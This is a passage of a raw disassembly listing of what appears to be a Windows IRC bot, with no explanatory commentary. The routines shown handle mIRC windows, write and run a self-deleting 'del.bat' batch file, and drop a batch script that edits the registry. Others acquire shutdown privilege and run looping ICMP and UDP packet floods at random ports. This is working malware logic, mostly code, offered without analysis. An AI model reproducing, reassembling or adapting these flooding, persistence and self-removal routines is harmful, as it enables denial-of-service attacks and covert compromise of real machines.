[ebp+var_200] push offset aIphlpapi_dllFa ; "Iphlpapi.dll failed. <%d>" push eax call sub_4154E7 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_412D4C add esp, 20h loc_40989B: ; CODE XREF: sub_40967F+1EEj cmp dword_43A4C8, esi jz short loc_4098CF push dword_43A4CC lea eax, [ebp+var_200] push offset aMpr32_dllFaile ; "Mpr32.dll failed. <%d>" push eax call sub_4154E7 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_412D4C add esp, 20h loc_4098CF: ; CODE XREF: sub_40967F+222j cmp dword_43A4D0, esi jz short loc_409903 push dword_43A4D4 lea eax, [ebp+var_200] push offset aShell32_dllFai ; "Shell32.dll failed. <%d>" push eax call sub_4154E7 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_412D4C add esp, 20h loc_409903: ; CODE XREF: sub_40967F+256j cmp dword_43A4D8, esi jz short loc_409937 push dword_43A4DC lea eax, [ebp+var_200] push offset aOdbc32_dllFail ; "Odbc32.dll failed. <%d>" push eax call sub_4154E7 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_412D4C add esp, 20h loc_409937: ; CODE XREF: sub_40967F+28Aj cmp dword_43A4E0, esi jz short loc_40996B push dword_43A4E4 lea eax, [ebp+var_200] push offset aAvicap32_dllFa ; "Avicap32.dll failed. <%d>" push eax call sub_4154E7 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_412D4C add esp, 20h loc_40996B: ; CODE XREF: sub_40967F+2BEj lea eax, [ebp+var_200] push offset dword_429A0C push eax call sub_4154E7 cmp [ebp+arg_C], esi pop ecx pop ecx jnz short loc_409998 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_412D4C add esp, 14h loc_409998: ; CODE XREF: sub_40967F+302j lea eax, [ebp+var_200] push eax call sub_40B16D pop ecx pop edi pop esi pop ebx leave retn sub_40967F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4099AA proc near ; CODE XREF: sub_40CE55+C50p ; sub_40CE55+C84p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push esi push edi mov edi, [ebp+arg_0] xor esi, esi cmp edi, esi jz short loc_409A35 mov eax, [ebp+arg_4] cmp eax, esi jz short loc_409A35 cmp [ebp+arg_8], esi jz short loc_409A35 cmp byte ptr [eax], 0 jz short loc_409A35 push ebx push edi call sub_41FD7B mov ebx, eax pop ecx test ebx, ebx jz short loc_409A30 push [ebp+arg_4] push edi call sub_415AC0 mov esi, eax pop ecx test esi, esi pop ecx jz short loc_409A29 sub eax, edi push eax push edi push ebx call sub_416D40 push [ebp+arg_8] mov eax, ebx sub eax, edi and byte ptr [eax+esi], 0 call sub_415CF0 push eax push [ebp+arg_8] push ebx call sub_416F10 push [ebp+arg_4] call sub_415CF0 add eax, esi push eax push ebx call sub_415C10 push ebx push edi call sub_415C00 add esp, 30h mov esi, edi loc_409A29: ; CODE XREF: sub_4099AA+3Cj push ebx call sub_415E3D pop ecx loc_409A30: ; CODE XREF: sub_4099AA+2Bj mov eax, esi pop ebx jmp short loc_409A37 ; --------------------------------------------------------------------------- loc_409A35: ; CODE XREF: sub_4099AA+Cj ; sub_4099AA+13j ... xor eax, eax loc_409A37: ; CODE XREF: sub_4099AA+89j pop edi pop esi pop ebp retn sub_4099AA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409A3B proc near ; CODE XREF: sub_40CCDD+E9p var_7D0 = dword ptr -7D0h var_7CC = byte ptr -7CCh arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 7D0h push ebx push esi push 7D0h lea eax, [ebp+var_7D0] push 0 push eax call sub_415570 mov esi, [ebp+arg_0] push esi call sub_415CF0 add esp, 10h push 1 pop ebx cmp eax, ebx jge short loc_409A71 or eax, 0FFFFFFFFh jmp short loc_409AE4 ; --------------------------------------------------------------------------- loc_409A71: ; CODE XREF: sub_409A3B+2Fj xor ecx, ecx mov [ebp+var_7D0], esi test eax, eax jle short loc_409A93 loc_409A7D: ; CODE XREF: sub_409A3B+56j mov dl, [ecx+esi] cmp dl, 0Ah jz short loc_409A8A cmp dl, 0Dh jnz short loc_409A8E loc_409A8A: ; CODE XREF: sub_409A3B+48j and byte ptr [ecx+esi], 0 loc_409A8E: ; CODE XREF: sub_409A3B+4Dj inc ecx cmp ecx, eax jl short loc_409A7D loc_409A93: ; CODE XREF: sub_409A3B+40j xor edx, edx push edi test eax, eax jle short loc_409AC4 lea edi, [ebp+var_7CC] loc_409AA0: ; CODE XREF: sub_409A3B+87j cmp byte ptr [edx+esi], 0 jnz short loc_409ABF cmp byte ptr [edx+esi+1], 0 lea ecx, [edx+esi+1] jz short loc_409ABF cmp ebx, 1F4h jge short loc_409AC4 mov [edi], ecx inc ebx add edi, 4 loc_409ABF: ; CODE XREF: sub_409A3B+69j ; sub_409A3B+74j inc edx cmp edx, eax jl short loc_409AA0 loc_409AC4: ; CODE XREF: sub_409A3B+5Dj ; sub_409A3B+7Cj cmp [ebp+arg_4], 0 pop edi jz short loc_409AE2 lea eax, [ebp+var_7D0] push 7D0h push eax push [ebp+arg_4] call sub_4155D0 add esp, 0Ch loc_409AE2: ; CODE XREF: sub_409A3B+8Ej mov eax, ebx loc_409AE4: ; CODE XREF: sub_409A3B+34j pop esi pop ebx leave retn sub_409A3B endp ; =============== S U B R O U T I N E ======================================= sub_409AE8 proc near ; CODE XREF: sub_409B42+33p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_4] push esi push edi mov edi, [esp+8+arg_8] mov ecx, 1F4h xor esi, esi rep stosd lea edi, [eax-1] test edi, edi jl short loc_409B21 push ebx mov ebx, edi loc_409B05: ; CODE XREF: sub_409AE8+36j mov eax, [esp+0Ch+arg_0] mov al, [esi+eax] push eax call sub_409B24 pop ecx inc esi mov ecx, [esp+0Ch+arg_8] mov [ecx+eax*4], ebx dec ebx cmp esi, edi jle short loc_409B05 pop ebx loc_409B21: ; CODE XREF: sub_409AE8+18j pop edi pop esi retn sub_409AE8 endp ; =============== S U B R O U T I N E ======================================= sub_409B24 proc near ; CODE XREF: sub_409AE8+25p ; sub_409B42+6Bp arg_0 = byte ptr 4 movsx eax, [esp+arg_0] push eax call sub_417193 cmp al, 61h pop ecx jl short loc_409B3F cmp al, 7Ah jg short loc_409B3F movsx eax, al sub eax, 60h retn ; --------------------------------------------------------------------------- loc_409B3F: ; CODE XREF: sub_409B24+Ej ; sub_409B24+12j xor eax, eax retn sub_409B24 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409B42 proc near ; CODE XREF: sub_40B24D+10p ; sub_40B27F+A0p var_100C = dword ptr -100Ch var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, 100Ch call sub_415D70 push ebx push esi push edi push [ebp+arg_0] call sub_415CF0 push [ebp+arg_4] mov [ebp+var_4], eax call sub_415CF0 mov esi, eax lea eax, [ebp+var_100C] push eax push esi push [ebp+arg_4] mov [ebp+var_C], esi call sub_409AE8 add esp, 14h dec esi mov edi, esi loc_409B80: ; CODE XREF: sub_409B42+B6j test esi, esi jle short loc_409BFE mov eax, [ebp+arg_4] movsx eax, byte ptr [esi+eax] push eax call sub_417193 mov ebx, eax mov eax, [ebp+arg_0] movsx eax, byte ptr [edi+eax] push eax call sub_417193 pop ecx cmp eax, ebx pop ecx jz short loc_409BF6 loc_409BA6: ; CODE XREF: sub_409B42+B2j mov ebx, [ebp+arg_0] mov al, [edi+ebx] push eax call sub_409B24 mov edx, [ebp+var_C] mov eax, [ebp+eax*4+var_100C] pop ecx mov ecx, edx sub ecx, esi cmp ecx, eax jle short loc_409BC7 mov eax, ecx loc_409BC7: ; CODE XREF: sub_409B42+81j add edi, eax cmp edi, [ebp+var_4] jge short loc_409BFA mov eax, [ebp+arg_4] lea esi, [edx-1] movsx eax, byte ptr [esi+eax] push eax call sub_417193 mov edx, eax movsx eax, byte ptr [edi+ebx] push eax mov [ebp+var_8], edx call sub_417193 pop ecx pop ecx mov ecx, [ebp+var_8] cmp eax, ecx jnz short loc_409BA6 loc_409BF6: ; CODE XREF: sub_409B42+62j dec edi dec esi jmp short loc_409B80 ; --------------------------------------------------------------------------- loc_409BFA: ; CODE XREF: sub_409B42+8Aj xor eax, eax jmp short loc_409C03 ; --------------------------------------------------------------------------- loc_409BFE: ; CODE XREF: sub_409B42+40j mov eax, [ebp+arg_0] add eax, edi loc_409C03: ; CODE XREF: sub_409B42+BAj pop edi pop esi pop ebx leave retn sub_409B42 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409C08 proc near ; CODE XREF: sub_40CE55+3B4Ep ; sub_40CE55+4755p var_100 = byte ptr -100h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 100h push esi call dword_421088 mov esi, eax push 0 lea eax, [ebp+var_100] push 100h push eax push 400h push esi push 0 push 1200h call dword_4210CC lea eax, [ebp+var_100] loc_409C41: ; CODE XREF: sub_409C08+46j mov cl, [eax] cmp cl, 1Fh jg short loc_409C4D cmp cl, 9 jnz short loc_409C50 loc_409C4D: ; CODE XREF: sub_409C08+3Ej inc eax jmp short loc_409C41 ; --------------------------------------------------------------------------- loc_409C50: ; CODE XREF: sub_409C08+43j ; sub_409C08+5Bj ... and byte ptr [eax], 0 dec eax lea ecx, [ebp+var_100] cmp eax, ecx jb short loc_409C6A mov cl, [eax] cmp cl, 2Eh jz short loc_409C50 cmp cl, 21h jl short loc_409C50 loc_409C6A: ; CODE XREF: sub_409C08+54j lea eax, [ebp+var_100] push esi push eax mov esi, offset dword_43A4E8 push [ebp+arg_0] push offset aSErrorSD_ ; "%s Error: %s <%d>." push 200h push esi call sub_415A6A add esp, 18h mov eax, esi pop esi leave retn sub_409C08 endp ; =============== S U B R O U T I N E ======================================= sub_409C92 proc near ; CODE XREF: sub_40CE55+5185p push esi push 0 call dword_43A388 test eax, eax jz short loc_409CC9 push 1 call dword_43A3A8 mov esi, eax test esi, esi jz short loc_409CC9 push edi push esi call dword_4210D4 push esi mov edi, eax call dword_4210D0 call dword_43A40C mov eax, edi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_409CC9: ; CODE XREF: sub_409C92+Bj ; sub_409C92+19j xor eax, eax pop esi retn sub_409C92 endp ; =============== S U B R O U T I N E ======================================= sub_409CCD proc near ; CODE XREF: sub_40CE55+4545p arg_0 = dword ptr 4 push ebp push esi push edi xor esi, esi mov edi, offset aMirc ; "mIRC" push esi push edi call dword_43A3C4 mov ebp, eax cmp ebp, esi jz short loc_409D49 push ebx push edi push 1000h push esi push 4 push esi push 0FFFFFFFFh call dword_4210E0 push esi push esi mov edi, eax push esi push 0F001Fh push edi call dword_4210DC push [esp+10h+arg_0] mov ebx, eax push ebx call sub_4154E7 pop ecx pop ecx push esi push 1 push 4C8h push ebp call dword_43A414 push esi push 1 push 4C9h push ebp call dword_43A414 push ebx call dword_4210D8 push edi call dword_42106C push 1 pop eax pop ebx jmp short loc_409D4B ; --------------------------------------------------------------------------- loc_409D49: ; CODE XREF: sub_409CCD+16j xor eax, eax loc_409D4B: ; CODE XREF: sub_409CCD+7Aj pop edi pop esi pop ebp retn sub_409CCD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409D4F proc near ; CODE XREF: sub_40C682+21Cp var_11C = byte ptr -11Ch var_18 = byte ptr -18h var_10 = byte ptr -10h var_8 = byte ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 11Ch push ebx push esi xor esi, esi push edi lea eax, [ebp+var_11C] push esi push eax push 104h push esi push offset aExplorer_exe ; "explorer.exe" push esi call dword_43A474 test eax, eax jz short loc_409DEE mov edi, 80h push esi push edi push 3 push esi mov esi, dword_421078 push 1 lea eax, [ebp+var_11C] push 80000000h push eax call esi mov ebx, eax cmp ebx, 0FFFFFFFFh jz short loc_409DEE lea eax, [ebp+var_18] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_10] push eax push ebx call dword_4210E8 push ebx mov ebx, dword_42106C call ebx push 0 push edi push 3 push 0 push 2 push 40000000h push [ebp+arg_0] call esi mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_409DEE lea eax, [ebp+var_18] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_10] push eax push esi call dword_4210E4 push esi call ebx loc_409DEE: ; CODE XREF: sub_409D4F+2Aj ; sub_409D4F+51j ... pop edi pop esi pop ebx leave retn sub_409D4F endp ; =============== S U B R O U T I N E ======================================= sub_409DF3 proc near ; CODE XREF: sub_40CE55+13B6p push 1 push offset aSeshutdownpriv ; "SeShutdownPrivilege" call sub_413D67 pop ecx pop ecx push 50005h push 6 call dword_43A300 neg eax sbb eax, eax neg eax retn sub_409DF3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409E15 proc near ; CODE XREF: sub_40BCEF+472p ; sub_40CE55+5405p var_764 = byte ptr -764h var_364 = byte ptr -364h var_260 = byte ptr -260h var_15C = byte ptr -15Ch var_58 = dword ptr -58h var_4C = dword ptr -4Ch var_2C = dword ptr -2Ch var_28 = word ptr -28h var_14 = byte ptr -14h var_4 = byte ptr -4 push ebp mov ebp, esp sub esp, 764h push esi xor esi, esi cmp dword_42C198, esi push edi jz short loc_409E39 cmp dword_43A488, esi jnz short loc_409E39 push esi call sub_40B3AE pop ecx loc_409E39: ; CODE XREF: sub_409E15+13j ; sub_409E15+1Bj call sub_41515C lea eax, [ebp+var_764] push eax push 400h call dword_4210F8 lea eax, [ebp+var_764] push eax lea eax, [ebp+var_260] push offset aSdel_bat ; "%sdel.bat" push eax call sub_4154E7 add esp, 0Ch lea eax, [ebp+var_260] push esi push esi push 2 push esi push esi push 40000000h push eax call dword_421078 mov edi, eax cmp edi, esi jbe loc_409F99 lea eax, [ebp+var_260] push eax lea eax, [ebp+var_764] push offset a@echoOffRepeat ; "@echo off\r\n:repeat\r\ndel \"%%1\"\r\nif exist"... push eax call sub_4154E7 add esp, 0Ch lea eax, [ebp+var_4] push esi push eax lea eax, [ebp+var_764] push eax call sub_415CF0 pop ecx push eax lea eax, [ebp+var_764] push eax push edi call dword_421070 push edi call dword_42106C push 10h lea eax, [ebp+var_14] push esi push eax call sub_415570 push 44h lea eax, [ebp+var_58] pop edi push edi push esi push eax call sub_415570 add esp, 18h mov [ebp+var_58], edi mov edi, 104h lea eax, [ebp+var_15C] push edi push eax push esi mov [ebp+var_4C], offset byte_438FDC mov [ebp+var_2C], 1 mov [ebp+var_28], si call dword_4210C8 push eax call dword_42107C lea eax, [ebp+var_15C] push eax call dword_421094 cmp eax, 0FFFFFFFFh jz short loc_409F41 lea eax, [ebp+var_15C] push 80h push eax call dword_4210F4 loc_409F41: ; CODE XREF: sub_409E15+118j lea eax, [ebp+var_15C] push eax lea eax, [ebp+var_260] push eax lea eax, [ebp+var_764] push offset aComspecCSS ; "%%comspec%% /c %s %s" push eax call sub_4154E7 add esp, 10h lea eax, [ebp+var_364] push edi push eax lea eax, [ebp+var_764] push eax call dword_4210F0 lea eax, [ebp+var_14] push eax lea eax, [ebp+var_58] push eax push esi push esi push 4008h push 1 push esi lea eax, [ebp+var_364] push esi push eax push esi call dword_4210EC loc_409F99: ; CODE XREF: sub_409E15+72j pop edi pop esi leave retn sub_409E15 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409F9D proc near ; CODE XREF: sub_40C682+31p var_1860 = byte ptr -1860h var_158 = byte ptr -158h var_58 = byte ptr -58h var_48 = dword ptr -48h var_1C = dword ptr -1Ch var_18 = word ptr -18h var_4 = byte ptr -4 push ebp mov ebp, esp mov eax, 1860h call sub_415D70 push esi push edi mov ecx, 5C1h mov esi, offset a@echoOffEchoRe ; "@echo off\r\nEcho REGEDIT4>%temp%\\1.reg\r\n"... lea edi, [ebp+var_1860] lea eax, [ebp+var_158] rep movsd movsw push offset aCA1c_bat ; "c:\\a1c.bat" push eax movsb call sub_4154E7 pop ecx xor esi, esi pop ecx lea eax, [ebp+var_158] push esi push esi push 2 push esi push esi push 40000000h push eax call dword_421078 mov edi, eax cmp edi, esi jbe short loc_40A057 lea eax, [ebp+var_4] push esi push eax lea eax, [ebp+var_1860] push eax call sub_415CF0 pop ecx push eax lea eax, [ebp+var_1860] push eax push edi call dword_421070 push edi call dword_42106C push 44h lea eax, [ebp+var_48] pop edi push edi push esi push eax call sub_415570 add esp, 0Ch lea ecx, [ebp+var_58] mov [ebp+var_48], edi mov [ebp+var_18], si push 1 pop eax push ecx lea ecx, [ebp+var_48] push ecx push esi push esi push 28h mov [ebp+var_1C], eax push eax push esi lea eax, [ebp+var_158] push esi push eax push esi call dword_4210EC loc_40A057: ; CODE XREF: sub_409F9D+55j pop edi pop esi leave retn sub_409F9D endp ; =============== S U B R O U T I N E ======================================= sub_40A05B proc near ; CODE XREF: sub_4013E9+7p ; sub_401B7C+7p ... arg_0 = dword ptr 4 push [esp+arg_0] call dword_43A3F8 cmp eax, 0FFFFFFFFh jnz short locret_40A083 push [esp+arg_0] call dword_43A43C test eax, eax jnz short loc_40A07C or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- loc_40A07C: ; CODE XREF: sub_40A05B+1Bj mov eax, [eax+0Ch] mov eax, [eax] mov eax, [eax] locret_40A083: ; CODE XREF: sub_40A05B+Dj retn sub_40A05B endp ; =============== S U B R O U T I N E ======================================= sub_40A084 proc near ; CODE XREF: sub_40CB75+D6p mov ecx, dword_43A2E0 xor eax, eax test ecx, ecx jz short locret_40A092 call ecx locret_40A092: ; CODE XREF: sub_40A084+Aj retn sub_40A084 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A093 proc near ; CODE XREF: sub_40CE55:loc_411F8Cp var_88 = byte ptr -88h var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 88h push ebx push esi push edi push 1 pop ebx lea eax, [ebp+var_8] xor edi, edi push ebx push eax push edi xor esi, esi mov [ebp+var_8], edi mov [ebp+var_4], ebx call dword_43A434 mov ecx, eax sub ecx, edi jz loc_40A159 sub ecx, 32h jz loc_40A152 sub ecx, 48h jz short loc_40A0F3 sub ecx, 6Eh jz short loc_40A0EC loc_40A0D5: ; CODE XREF: sub_40A093+8Bj push eax lea eax, [ebp+var_88] push offset unk_42B428 push eax call sub_4154E7 add esp, 0Ch jmp short loc_40A133 ; --------------------------------------------------------------------------- loc_40A0EC: ; CODE XREF: sub_40A093+40j push offset unk_42B3F0 jmp short loc_40A125 ; --------------------------------------------------------------------------- loc_40A0F3: ; CODE XREF: sub_40A093+3Bj push [ebp+var_8] call sub_415DC9 push [ebp+var_8] mov esi, eax push edi push esi call sub_415570 add esp, 10h cmp esi, edi jz short loc_40A120 lea eax, [ebp+var_8] push ebx push eax push esi call dword_43A434 cmp eax, edi jz short loc_40A159 jmp short loc_40A0D5 ; --------------------------------------------------------------------------- loc_40A120: ; CODE XREF: sub_40A093+79j push offset unk_42B3AC loc_40A125: ; CODE XREF: sub_40A093+5Ej ; sub_40A093+C4j lea eax, [ebp+var_88] push eax call sub_4154E7 pop ecx pop ecx loc_40A133: ; CODE XREF: sub_40A093+57j lea eax, [ebp+var_88] mov [ebp+var_4], edi push eax call sub_40B16D pop ecx loc_40A143: ; CODE XREF: sub_40A093+C8j ; sub_40A093+DCj push esi call sub_415E3D mov eax, [ebp+var_4] pop ecx pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_40A152: ; CODE XREF: sub_40A093+32j push offset unk_42B368 jmp short loc_40A125 ; --------------------------------------------------------------------------- loc_40A159: ; CODE XREF: sub_40A093+29j ; sub_40A093+89j cmp [esi], edi jbe short loc_40A143 lea ebx, [esi+4] loc_40A160: ; CODE XREF: sub_40A093+DAj push ebx call dword_43A430 inc edi add ebx, 18h cmp edi, [esi] jb short loc_40A160 jmp short loc_40A143 sub_40A093 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A171 proc near ; CODE XREF: sub_401447+243p ; sub_401BD6+268p ... var_14 = byte ptr -14h var_10 = byte ptr -10h var_F = byte ptr -0Fh var_E = byte ptr -0Eh var_D = byte ptr -0Dh var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 14h push esi push 10h pop eax mov [ebp+var_4], eax push eax lea eax, [ebp+var_14] push 0 push eax call sub_415570 add esp, 0Ch lea eax, [ebp+var_4] push eax lea eax, [ebp+var_14] push eax push [ebp+arg_0] call dword_43A35C movzx eax, [ebp+var_D] push eax mov esi, offset dword_43A6EC movzx eax, [ebp+var_E] push eax movzx eax, [ebp+var_F] push eax movzx eax, [ebp+var_10] push eax push offset aD_D_D_D ; "%d.%d.%d.%d" push esi call sub_4154E7 add esp, 18h mov eax, esi pop esi leave retn sub_40A171 endp ; =============== S U B R O U T I N E ======================================= sub_40A1CA proc near ; CODE XREF: sub_4010B2+24Cp ; sub_4010B2+292p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_4] xor eax, eax cmp esi, 1 jle short loc_40A1F3 mov ecx, esi push edi shr ecx, 1 mov edx, ecx neg edx lea esi, [esi+edx*2] mov edx, [esp+8+arg_0] loc_40A1E6: ; CODE XREF: sub_40A1CA+24j movzx edi, word ptr [edx] add eax, edi inc edx inc edx dec ecx jnz short loc_40A1E6 pop edi jmp short loc_40A1F7 ; --------------------------------------------------------------------------- loc_40A1F3: ; CODE XREF: sub_40A1CA+Aj mov edx, [esp+4+arg_0] loc_40A1F7: ; CODE XREF: sub_40A1CA+27j test esi, esi pop esi jz short loc_40A201 movzx ecx, byte ptr [edx] add eax, ecx loc_40A201: ; CODE XREF: sub_40A1CA+30j mov ecx, eax and eax, 0FFFFh shr ecx, 10h add ecx, eax mov eax, ecx shr eax, 10h add eax, ecx not eax retn sub_40A1CA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A217 proc near ; DATA XREF: sub_40CE55+2D34o var_10320 = byte ptr -10320h var_344 = byte ptr -344h var_144 = dword ptr -144h var_140 = byte ptr -140h var_C0 = byte ptr -0C0h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_20 = byte ptr -20h var_18 = dword ptr -18h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 10320h call sub_415D70 mov eax, [ebp+arg_0] push ebx push esi push edi push 49h mov esi, eax pop ecx lea edi, [ebp+var_144] rep movsd push 1 pop edi mov [eax+120h], edi call dword_43A344 mov [ebp+arg_0], eax lea eax, [ebp+var_C0] push eax call dword_43A3F8 mov esi, eax xor ebx, ebx xor eax, eax cmp esi, 0FFFFFFFFh jnz short loc_40A272 lea eax, [ebp+var_C0] push eax call dword_43A43C cmp eax, ebx jz short loc_40A278 loc_40A272: ; CODE XREF: sub_40A217+48j cmp [ebp+arg_0], 0FFFFFFFFh jnz short loc_40A2D5 loc_40A278: ; CODE XREF: sub_40A217+59j lea eax, [ebp+var_C0] push eax lea eax, [ebp+var_344] push offset unk_42B4AC push eax call sub_4154E7 add esp, 0Ch cmp [ebp+var_28], ebx jnz short loc_40A2B8 push ebx lea eax, [ebp+var_344] push [ebp+var_2C] push eax lea eax, [ebp+var_140] push eax push [ebp+var_144] call sub_412D4C add esp, 14h loc_40A2B8: ; CODE XREF: sub_40A217+7Fj lea eax, [ebp+var_344] push eax call sub_40B16D push [ebp+var_30] call sub_4152AF pop ecx pop ecx push edi call dword_421048 loc_40A2D5: ; CODE XREF: sub_40A217+5Fj cmp eax, ebx jz short loc_40A2E5 mov eax, [eax+0Ch] mov eax, [eax] mov eax, [eax] mov [ebp+var_4], eax jmp short loc_40A2E8 ; --------------------------------------------------------------------------- loc_40A2E5: ; CODE XREF: sub_40A217+C0j mov [ebp+var_4], esi loc_40A2E8: ; CODE XREF: sub_40A217+CCj push 1Ch lea eax, [ebp+var_20] push ebx push eax call sub_415570 or [ebp+var_18], 0FFFFFFFFh mov eax, 0FFDCh add esp, 0Ch cmp [ebp+var_3C], eax jle short loc_40A308 mov [ebp+var_3C], eax loc_40A308: ; CODE XREF: sub_40A217+ECj cmp [ebp+var_38], edi jge short loc_40A310 mov [ebp+var_38], edi loc_40A310: ; CODE XREF: sub_40A217+F4j xor esi, esi cmp [ebp+var_40], ebx jle short loc_40A33D loc_40A317: ; CODE XREF: sub_40A217+124j push [ebp+var_38] lea eax, [ebp+var_20] push 1Ch push eax push ebx lea eax, [ebp+var_10320] push [ebp+var_3C] push eax push [ebp+var_4] push [ebp+arg_0] call dword_43A2DC inc esi cmp esi, [ebp+var_40] jl short loc_40A317 loc_40A33D: ; CODE XREF: sub_40A217+FEj push [ebp+arg_0] call dword_43A470 lea eax, [ebp+var_C0] push eax lea eax, [ebp+var_344] push offset unk_42B46C push eax call sub_4154E7 add esp, 0Ch cmp [ebp+var_28], ebx jnz short loc_40A386 push ebx lea eax, [ebp+var_344] push [ebp+var_2C] push eax lea eax, [ebp+var_140] push eax push [ebp+var_144] call sub_412D4C add esp, 14h loc_40A386: ; CODE XREF: sub_40A217+14Dj lea eax, [ebp+var_344] push eax call sub_40B16D push [ebp+var_30] call sub_4152AF pop ecx pop ecx push ebx call dword_421048 sub_40A217 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A3A3 proc near ; DATA XREF: sub_40CE55+2E7Bo var_10312 = byte ptr -10312h var_10310 = byte ptr -10310h var_334 = byte ptr -334h var_134 = dword ptr -134h var_130 = byte ptr -130h var_B0 = byte ptr -0B0h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 10310h call sub_415D70 mov eax, [ebp+arg_0] push ebx push esi push edi push 49h mov esi, eax pop ecx lea edi, [ebp+var_134] rep movsd push 1 pop esi mov [eax+120h], esi call dword_42104C push eax call sub_415539 pop ecx push 11h push 2 push 2 call dword_43A438 mov ebx, eax xor edi, edi push 10h lea eax, [ebp+var_10] push edi push eax call sub_415570 add esp, 0Ch lea eax, [ebp+var_B0] mov [ebp+var_10], 2 push eax call dword_43A3F8 cmp eax, 0FFFFFFFFh mov [ebp+arg_0], eax jnz short loc_40A488 lea eax, [ebp+var_B0] push eax call dword_43A43C cmp eax, edi jnz short loc_40A481 lea eax, [ebp+var_B0] push eax lea eax, [ebp+var_334] push offset dword_42B528 push eax call sub_4154E7 add esp, 0Ch cmp [ebp+var_18], edi jnz short loc_40A464 push edi lea eax, [ebp+var_334] push [ebp+var_1C] push eax lea eax, [ebp+var_130] push eax push [ebp+var_134] call sub_412D4C add esp, 14h loc_40A464: ; CODE XREF: sub_40A3A3+9Fj lea eax, [ebp+var_334] push eax call sub_40B16D push [ebp+var_20] call sub_4152AF pop ecx pop ecx push esi call dword_421048 loc_40A481: ; CODE XREF: sub_40A3A3+7Fj mov eax, [eax+0Ch] mov eax, [eax] jmp short loc_40A48B ; --------------------------------------------------------------------------- loc_40A488: ; CODE XREF: sub_40A3A3+6Ej lea eax, [ebp+arg_0] loc_40A48B: ; CODE XREF: sub_40A3A3+E3j mov eax, [eax] cmp [ebp+var_24], edi mov [ebp+var_C], eax jnz short loc_40A4A6 call sub_415543 cdq mov ecx, 0FFDCh idiv ecx inc edx push edx jmp short loc_40A4A9 ; --------------------------------------------------------------------------- loc_40A4A6: ; CODE XREF: sub_40A3A3+F0j push [ebp+var_24] loc_40A4A9: ; CODE XREF: sub_40A3A3+101j call dword_43A3B8 cmp [ebp+var_24], esi mov [ebp+var_E], ax jge short loc_40A4BB mov [ebp+var_24], esi loc_40A4BB: ; CODE XREF: sub_40A3A3+113j mov eax, 0FFFFh cmp [ebp+var_24], eax jle short loc_40A4C8 mov [ebp+var_24], eax loc_40A4C8: ; CODE XREF: sub_40A3A3+120j mov eax, [ebp+var_30] push 0Ah cdq pop ecx idiv ecx cmp [ebp+var_28], edi mov [ebp+var_30], eax jnz short loc_40A4DC mov [ebp+var_28], esi loc_40A4DC: ; CODE XREF: sub_40A3A3+134j xor esi, esi cmp [ebp+var_2C], edi jle short loc_40A4FD loc_40A4E3: ; CODE XREF: sub_40A3A3+158j call sub_415543 cdq mov ecx, 0FFh idiv ecx inc esi cmp esi, [ebp+var_2C] mov [ebp+esi-10311h], dl jl short loc_40A4E3 loc_40A4FD: ; CODE XREF: sub_40A3A3+13Ej ; sub_40A3A3+19Cj ... mov eax, [ebp+var_30] dec [ebp+var_30] test eax, eax jle short loc_40A55C push 0Bh pop esi loc_40A50A: ; CODE XREF: sub_40A3A3+197j lea eax, [ebp+var_10] push 10h push eax push edi call sub_415543 push 0Ah cdq pop ecx idiv ecx mov eax, [ebp+var_2C] sub eax, edx push eax lea eax, [ebp+var_10310] push eax push ebx call dword_43A41C push [ebp+var_28] call dword_421060 dec esi jnz short loc_40A50A cmp [ebp+var_24], edi jnz short loc_40A4FD call sub_415543 cdq mov ecx, 0FFDCh idiv ecx inc edx push edx call dword_43A3B8 mov [ebp+var_E], ax jmp short loc_40A4FD ; 